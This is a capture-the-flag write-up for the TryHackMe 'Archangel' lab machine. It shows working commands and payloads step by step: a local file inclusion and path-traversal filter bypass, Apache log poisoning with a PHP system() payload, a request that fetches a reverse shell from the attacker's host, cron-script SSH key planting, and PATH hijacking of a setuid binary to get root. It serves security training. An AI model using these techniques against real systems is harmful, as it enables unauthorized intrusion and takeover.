TryHackMe-Archangel
Boot2root, Web exploitation, Privilege escalation, LFI
Get a shell
Services
Nmap reveals 2 running services:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA) | 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA) |_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Wavefire
Find a different hostname
Connecting to the web service will reveal a mail address ([email protected]
) which discloses a domain: mafialive.thm
kali@kali:/data/Archangel$ curl -s 10.10.93.69 | grep ".thm" <div class="block clear"><a href="#"><i class="fas fa-envelope"></i></a> <span><strong>Send us a mail:</strong> [email protected]</span></div>
Let’s add the domain to the hosts
file:
$ echo "10.10.93.69 mafialive.thm" | sudo tee -a /etc/hosts
Find flag 1
Browsing the home page of this domain will reveal the first flag:
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/ <h1>UNDER DEVELOPMENT</h1> thm{f0und_th3_r1ght_h0st_n4m3}
Look for a page under development
Checking the robots.txt
file will reveal a hidden resource: test.php
:
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/robots.txt User-agent: * Disallow: /test.php
Answer: test.php
Find flag 2
Follow the link on the page to discover that the test.php
page accepts a parameter:
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php <!DOCTYPE HTML> <html> <head> <title>INCLUDE</title> <h1>Test Page. Not to be Deployed</h1> </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br> Control is an illusion </div> </body> </html>
It is obvious that we have to deal with a Local File Inclusion (LFI). Unfortunately, it seems we can’t read the code in test.php
, probably due to a protection in the script.
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/test.php <!DOCTYPE HTML> <html> <head> <title>INCLUDE</title> <h1>Test Page. Not to be Deployed</h1> </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
Hopefully, using php://filter
allows to bypass the protection and we are able to encode the file as a base64 string:
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php <!DOCTYPE HTML> <html> <head> <title>INCLUDE</title> <h1>Test Page. Not to be Deployed</h1> </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br> CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg== </div> </body> </html>
Let’s decode the content:
kali@kali:/data/Archangel$ echo "CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==" | base64 -d <!DOCTYPE HTML> <html> <head> <title>INCLUDE</title> <h1>Test Page. Not to be Deployed</h1> </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br> <?php //FLAG: thm{explo1t1ng_lf1} function containsStr($str, $substr) { return strpos($str, $substr) !== false; } if(isset($_GET["view"])){ if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) { include $_GET['view']; }else{ echo 'Sorry, Thats not allowed'; } } ?> </div> </body> </html>
The flag appears as a comment in the page.
Answer: thm{explo1t1ng_lf1}
Get a shell and find the user flag
The code is checking that the 2 below conditions are met about the injected content:
- it should not contain
../..
- it should contain
/var/www/html/development_testing
We can bypass the path traversal protection by replacing ../..
with .././..
, as follows:
kali@kali:/data/Archangel$ curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log <!DOCTYPE HTML> <html> <head> <title>INCLUDE</title> <h1>Test Page. Not to be Deployed</h1> </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br> 10.8.50.72 - - [25/Apr/2021:23:15:47 +0530] "GET / HTTP/1.1" 200 3888 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 10.8.50.72 - - [25/Apr/2021:23:15:48 +0530] "GET /layout/styles/layout.css HTTP/1.1" 200 4953 "http://archangel.thm/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" [REDACTED] 10.8.50.72 - - [25/Apr/2021:23:52:40 +0530] "GET /test.php?view=php://filter/convert.base64-encode/resource=/proc/self/environ HTTP/1.1" 200 482 "-" "curl/7.72.0" 10.8.50.72 - - [26/Apr/2021:00:04:55 +0530] "GET /test.php?view=/var/www/html/development_testing/..%2F..%2F../proc/self/environ HTTP/1.1" 200 482 "-" "curl/7.72.0" 10.8.50.72 - - [26/Apr/2021:00:06:59 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././../proc/self/environ HTTP/1.1" 200 458 "-" "curl/7.72.0" 10.8.50.72 - - [26/Apr/2021:00:07:10 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././proc/self/environ HTTP/1.1" 200 458 "-" "curl/7.72.0" 10.8.50.72 - - [26/Apr/2021:00:07:15 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././../proc/self/environ HTTP/1.1" 200 458 "-" "curl/7.72.0" </div> </body> </html>
We’ll now poison the apache2 log file by injecting a PHP payload in the user-agent string as follows:
Now, let’s download a PHP reverse shell. Start by hosting it locally (python3 -m http.server
) and download it by sending the following request in BurpSuite Repeater
GET /test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log&cmd=wget%20http://10.8.**.**:8000/rev.php HTTP/1.1 Host: mafialive.thm User-Agent: <?php system($_GET['cmd']); ?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
Now, call the reverse shell on the server by browsing http://mafialive.thm/rev.php. We now have a reverse shell:
kali@kali:/data/Archangel/files$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.99.3] 49310 Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 12:07:02 up 26 min, 0 users, load average: 0.00, 0.03, 0.23 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ python3 -c "import pty;pty.spawn('/bin/bash')" www-data@ubuntu:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
User flag:
www-data@ubuntu:/$ cat /home/archangel/user.txt cat /home/archangel/user.txt thm{lf1_t0_rc3_1s_tr1cky}
Root the machine
Get User 2 flag
There is a cronjob (/opt/helloworld.sh
) executed by archangel
every minute:
www-data@ubuntu:/etc/cron.weekly$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * archangel /opt/helloworld.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
And the script is writable to us:
www-data@ubuntu:/opt$ ls -la ls -la total 16 drwxrwxrwx 3 root root 4096 Nov 20 10:35 . drwxr-xr-x 22 root root 4096 Nov 16 15:39 .. drwxrwx--- 2 archangel archangel 4096 Nov 20 15:04 backupfiles -rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 helloworld.sh www-data@ubuntu:/opt$ cat helloworld.sh cat helloworld.sh #!/bin/bash echo "hello world" >> /opt/backupfiles/helloworld.txt
Let’s replace the content by the following script:
#!/bin/bash
mkdir -p /home/archangel/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDg/KqsSvn87pqIqbPzKOHSyh44AqimIva8sBw3F+EBUigLb3xjbKs9SBLbloL7M5VuzZwM+bL2i1vJPNtUMZAbJ+hzEY9ijQEWopKgDEuR3zCDd6r5St+QDqqH/14yAzEZqBa6+eURx9kfYsKKaCoue1b7LCaXaO6JYA1s4UIIF+xUeUzJw3nxw5TzbvkCtamYKIpTvUu7tQQLpNw+em58FcYj4ciIUoDxBI6VpnmY06JbGoyphrsRTVW4kRTO0eSEcrrGFVOqbbLmWWhI2gQcHL2nUTcIfSxLGKD3ave5tlCdd8mRmZr5BP/m4BCS21qS9owAt/6tgeZspQ2lVOBChcYlyLBf2TrNmZTEb3mA5EwQdepeIofOavp7bEt2SguEQbNL27MFgTkHrQgOT+aelB8IvjXuQRxTePoq+zdJ4TT1hN1trsLvplzJhLwR53s83bfR+TEDoy0DzoPNt9WKzoom9tL0P9esdePB2W9hX35IKZVtD53kcT6xDO+m7pk= kali@kali" >> /home/archangel/.ssh/authorized_keys
The easiest is to host the script locally, make it available with python3 -m http.server
, download it on the server, move it to /opt/helloworld.sh
and make it executable.
After a minute, we can connect as archangel
and reveal the second flag:
kali@kali:/data/Archangel/files$ ssh [email protected] Warning: Permanently added the ECDSA host key for IP address '10.10.231.1' to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-123-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Fri Nov 20 15:21:35 2020 archangel@ubuntu:~$ ll total 48 drwxr-xr-x 7 archangel archangel 4096 Apr 26 14:13 ./ drwxr-xr-x 3 root root 4096 Nov 18 13:06 ../ -rw-r--r-- 1 archangel archangel 220 Nov 18 00:48 .bash_logout -rw-r--r-- 1 archangel archangel 3771 Nov 18 00:48 .bashrc drwx------ 2 archangel archangel 4096 Nov 18 13:08 .cache/ drwxrwxr-x 3 archangel archangel 4096 Nov 18 11:20 .local/ drwxr-xr-x 2 archangel archangel 4096 Nov 18 01:36 myfiles/ -rw-r--r-- 1 archangel archangel 807 Nov 18 00:48 .profile drwxrwx--- 2 archangel archangel 4096 Nov 19 20:41 secret/ -rw-rw-r-- 1 archangel archangel 66 Nov 18 11:20 .selected_editor drwxrwxr-x 2 archangel archangel 4096 Apr 26 14:13 .ssh/ -rw-r--r-- 1 archangel archangel 26 Nov 19 19:57 user.txt archangel@ubuntu:~$ cd secret/ archangel@ubuntu:~/secret$ ll total 32 drwxrwx--- 2 archangel archangel 4096 Nov 19 20:41 ./ drwxr-xr-x 7 archangel archangel 4096 Apr 26 14:13 ../ -rwsr-xr-x 1 root root 16904 Nov 18 16:40 backup* -rw-r--r-- 1 root root 49 Nov 19 20:41 user2.txt archangel@ubuntu:~/secret$ cat user2.txt thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
Answer: thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
Root the machine and find the root flag
The secret directory contains an interesting backup
script that has the SETUID
bit set. Using strings
, we can see that the cp
command is called to copy files:
archangel@ubuntu:~/secret$ file backup backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped archangel@ubuntu:~/secret$ strings backup /lib64/ld-linux-x86-64.so.2 setuid system [REDACTED] cp /home/user/archangel/myfiles/* /opt/backupfiles [REDACTED]
As the script is not using the full path of cp
, we can leave our own cp
program in the directory.
archangel@ubuntu:~/secret$ cat > cp << EOF > #!/bin/bash > /bin/bash -i > EOF archangel@ubuntu:~/secret$ chmod +x cp archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH
Now, when we will execute the script, it will use our own cp
command, which will execute a root shell:
archangel@ubuntu:~/secret$ ./backup root@ubuntu:~/secret# id uid=0(root) gid=0(root) groups=0(root),1001(archangel) root@ubuntu:~/secret# cd /root/ root@ubuntu:/root# ll total 28 drwx------ 4 root root 4096 Nov 20 15:22 ./ drwxr-xr-x 22 root root 4096 Nov 16 15:39 ../ -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 2 root root 4096 Nov 18 13:06 .cache/ drwxr-xr-x 3 root root 4096 Nov 16 19:27 .local/ -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 68 Nov 19 19:59 root.txt root@ubuntu:/root# cat root.txt thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}
Root flag: thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}